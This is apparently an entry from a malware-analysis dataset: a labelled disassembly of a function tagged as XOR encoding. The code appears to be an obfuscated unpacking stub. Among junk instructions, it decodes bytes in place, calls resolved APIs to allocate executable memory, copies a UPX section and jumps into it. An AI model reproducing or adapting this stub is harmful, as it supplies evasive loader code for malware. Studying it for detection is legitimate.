Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x254b899b
and eax, eax
add edi, 1
add eax, edi
popal
not edi
inc edi
or edi, eax
mov ecx, 0
mov ebx, esi
add edx, 0xcfc1f033
not edi
and edx, edx
mov eax, ebx
add edi, 0xb1287869
inc edi
add edi, edi
mov esi, eax
not edx
mov edx, 0xddcd76f7
inc ecx
add edx, edi
add edx, 1
cmp ecx, 0x10070db
jne 0xa789c7
mov edi, edx
and edx, edi
sub eax, edi
sub eax, edi
mov edi, 0xa78796
add esi, 1
dec eax
sub edx, 0x935c36f6
mov ecx, 0xa7898a
add eax, edx
sub edx, 1
mov ebx, dword [edi]
sub esi, edx
or edx, edx
or esi, eax
and ebx, 0xff
sub esi, 0x585a8728
sub eax, 0xd2d58d9f
xor dword [ecx], ebx
sub eax, 1
mov edx, eax
inc ecx
mov eax, edx
add eax, 1
mov eax, edx
add edi, 1
not edx
add edx, eax
sub esi, 1
cmp ecx, entry0
jl 0xa78a23
sub edx, 0xe29fe3c5
inc esi
or eax, esi
or edx, eax
sub eax, edx
inc edx
not ebx
or edi, ecx
mov edx, 0xa7898e
add ebx, esi
and esi, ebx
and ebx, esi
mov edx, dword [edx]
not ebx
mov esi, ebx
dec ecx
mov edx, dword [edx]
sub esi, edi
mov edi, 0x22858ab3
sub esp, 4
mov dword [esp], edx
dec ecx
add ecx, 0xfd69943f
mov edx, 0xa7898a
dec ecx
and esi, esi
add ecx, 1
mov edx, dword [edx]
inc edi
sub ebx, esi
mov edx, dword [edx]
add ebx, 0xb34cd29d
add esi, 0x513c44f4
inc ebx
sub esp, 4
mov dword [esp], 0xa78992
mov edi, ecx
inc ecx
call edx
add esi, esi
and esi, edi
pop edx
mov ecx, 0x5cfa7f8a
add ebx, 1
sub esp, 4
mov dword [esp], 0xa7899f
inc edi
sub ebx, 0x8803bf5c
and ebx, edi
sub esp, 4
mov dword [esp], eax
add ebx, 1
mov esi, ebx
add edi, 0x683362a8
call edx
dec edi
sub ecx, 0x6e3fa0dd
sub esp, 4
mov dword [esp], 0x40
add esi, 0xd6c8230e
sub esi, 0x5974f27d
push 0x3000
or edi, ebx
inc edi
mov esi, 0xe7f0e4a0
push 0x200005dd
dec ebx
sub esi, ebx
sub esp, 4
mov dword [esp], 0
mov esi, 0xd20d583a
inc esi
mov esi, 0x626a4d3
call eax
or esi, edi
or esi, ecx
sub ecx, 0xc03307a2
add eax, 0x20000577
or ecx, esi
sub esi, edi
add ebx, esi
mov edx, 0x90f232f2
inc edi
sub esi, ecx
mov dword [eax], edx
inc ebx
and ecx, ebx
mov edx, dword [eax]
inc ebx
mov ecx, ebx
cmp edx, 0x90f232f2
je 0xa78b92
mov edx, 0
mov ebx, dword [edx]
add edi, edi
add ecx, 0x848a47bc
add ecx, ebx
not ecx
not esi
add eax, 0x976e5fa9
mov edi, 0x8588d9d8
mov ebx, section.UPX1
add edi, edi
and edi, edi
mov eax, edi
mov ecx, 0xa78795
mov edi, eax
or edi, eax
not eax
mov edx, 0
add eax, edi
mov edi, eax
mov esi, 0xa78796
not edi
sub eax, 0xb02dceeb
add edi, 1
lea esi, [edx + esi]
or edi, eax
or edi, edi
add edi, 0xe548be94
mov esi, dword [esi]
sub eax, 0x28b49f1e
add edi, 0xbeb17cc
and esi, 0xff
sub eax, 1
not edi
inc edx
mov eax, edi
add eax, edi
sub eax, 0x294d6bd2
cmp edx, 0x1f4
jne 0xa78c1e
mov edx, 0
sub eax, 0xd495e45d
sub eax, 1
add eax, 0xc7af52ba
sub eax, 0x6abcf824
add eax, 0x5456873e
or eax, eax
xor dword [ebx], esi
or eax, edi
or edi, edi
add ebx, 2
mov eax, 0xb203445b
and eax, edi
cmp ebx, ecx
jl 0xa78bca
mov edi, eax
sub edi, 0x8bb83988
inc eax
sub eax, edi
add eax, eax
mov ecx, section.UPX1
or esi, esi
or esi, ebx
or ebx, esi
mov edx, section.UPX1
add ebx, esi
not esi
inc esi
mov edi, 0xa78795
sub esi, ebx
dec esi
mov eax, 0
sub ebx, esi
mov esi, ebx
mov al, byte [edx]
add esi, ebx
and esi, esi
not ebx
mov byte [ecx], al
and esi, esi
add esi, 0x6e63107f
inc ecx
not esi
sub ebx, 0x3c9106df
mov esi, 0x7193a25f
add edx, 2
add esi, esi
add ebx, 0xf8930751
mov esi, 0xe72b5c04
cmp edx, edi
jle 0xa78c8c
sub ebx, 0xc699085f
and ebx, esi
not esi
mov edi, 0x9b1cac68
add eax, eax
push 0x8dc6a0
dec edi
add eax, 0xd8e08f87
dec edi
ret